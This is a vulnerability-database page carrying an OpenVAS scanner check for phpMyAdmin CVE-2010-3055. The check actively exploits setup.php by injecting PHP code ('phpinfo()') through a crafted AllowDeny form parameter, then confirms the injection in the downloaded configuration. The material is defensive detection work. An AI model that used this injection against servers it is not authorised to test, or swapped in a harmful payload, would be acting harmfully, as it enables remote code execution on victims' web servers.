phpMyAdmin 'CVE-2010-3055' Configuration File PHP Code Injection Vulnerability
🗓️ 30 Aug 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType
openvas🔗 plugins.openvas.org👁 33 Views
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| CVE-2010-3055 | 24 Aug 201019:00 | – | cve | |
| CVE-2010-3055 | 24 Aug 201019:00 | – | cvelist | |
| [SECURITY] [DSA 2097-1] New phpmyadmin packages fix several vulnerabilities | 29 Aug 201010:26 | – | debian | |
| [SECURITY] [DSA 2097-2] New phpmyadmin packages fix several vulnerabilities | 11 Sep 201014:36 | – | debian | |
| CVE-2010-3055 | 24 Aug 201019:00 | – | debiancve | |
| Debian DSA-2097-1 : phpmyadmin - insufficient input sanitising | 30 Aug 201000:00 | – | nessus | |
| GLSA-201201-01 : phpMyAdmin: Multiple vulnerabilities | 5 Jan 201200:00 | – | nessus | |
| phpMyAdmin setup.php Arbitrary PHP Code Execution (PMASA-2010-4) | 27 Aug 201000:00 | – | nessus | |
| EUVD-2010-3057 | 7 Oct 202500:30 | – | euvd | |
| phpMyAdmin: Multiple vulnerabilities | 4 Jan 201200:00 | – | gentoo |
10
| Source | Link |
|---|---|
| phpmyadmin | www.phpmyadmin.net/home_page/security/PMASA-2010-4.php |
| securityfocus | www.securityfocus.com/bid/42591 |
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:phpmyadmin:phpmyadmin";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100760");
script_version("2025-01-31T05:37:27+0000");
script_cve_id("CVE-2010-3055");
script_tag(name:"last_modification", value:"2025-01-31 05:37:27 +0000 (Fri, 31 Jan 2025)");
script_tag(name:"creation_date", value:"2010-08-30 14:30:07 +0200 (Mon, 30 Aug 2010)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("phpMyAdmin 'CVE-2010-3055' Configuration File PHP Code Injection Vulnerability");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2010 Greenbone AG");
script_dependencies("gb_phpmyadmin_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("phpmyadmin/http/detected");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/42591");
script_xref(name:"URL", value:"http://www.phpmyadmin.net/home_page/security/PMASA-2010-4.php");
script_tag(name:"summary", value:"phpMyAdmin is prone to a remote PHP code injection
vulnerability.");
script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute
arbitrary PHP code in the context of the webserver process. This may facilitate a compromise of
the application and the underlying computer. Other attacks are also possible.");
script_tag(name:"affected", value:"Versions prior to phpMyAdmin 2.11.10.1 are affected.");
script_tag(name:"solution", value:"Vendor updates are available. Please see the references for
more information.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!infos = get_app_version_and_location(cpe:CPE, port:port, exit_no_version:FALSE))
exit(0);
vers = infos["version"];
dir = infos["location"];
if(vers) {
if(!version_in_range(version:vers, test_version:"2.11", test_version2:"2.11.10")) {
exit(0);
}
}
if(!dir)
exit(0);
host = http_host_name(port:port);
url = string(dir, "/scripts/setup.php");
buf = http_get_cache(item:url, port:port);
if(!buf || "<title>phpMyAdmin" >!< buf)
exit(0);
if("Can not load or save configuration" >< buf) {
report = http_report_vuln_url(port:port, url:url);
report += string("\n\n", "The installed version (", vers, ") of phpMyAdmin under ", dir, " is affected, but the vulnerability could not be exploited at this time because the Webserver has no permission to write the configuration to the 'config' directory.\n\n");
security_message(port:port, data:report);
exit(0);
}
h = split(buf);
foreach r (h) {
if (r =~ "^Set-Cookie") {
if(!first_cookie) {
cookies_string += ereg_replace(string: r, pattern: "^Set-Cookie", replace: "Cookie");
cookies_string = chomp(cookies_string);
first_cookie = TRUE;
} else {
cookies_string += ereg_replace(string: r, pattern: "^Set-Cookie:", replace: ";");
cookies_string = chomp(cookies_string);
}
}
}
token = eregmatch(pattern:'input type="hidden" name="token" value="([^"]+)"', string:buf);
if(isnull(token[1]))exit(0);
token = token[1];
host = this_host() + '-' + rand();
php = "phpinfo()";
postdata = string("token=",token,"&action=addserver_real&host=",host,"&submit_save=Add&AllowDeny_order=1&AllowDeny[a][b]['.",php,".']=1");
req = string(
"POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
cookies_string, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n",
postdata
);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if("New server added" >!< res || host >!< res)exit(0);
postdata = string("token=",token,"&action=download");
req = string(
"POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
cookies_string, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n",
postdata
);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(string("$cfg['Servers'][$i]['AllowDeny']['order']['a']['b'][''.",php,".''] = '1';" >< res)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Jan 2025 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 27.5
EPSS0.14714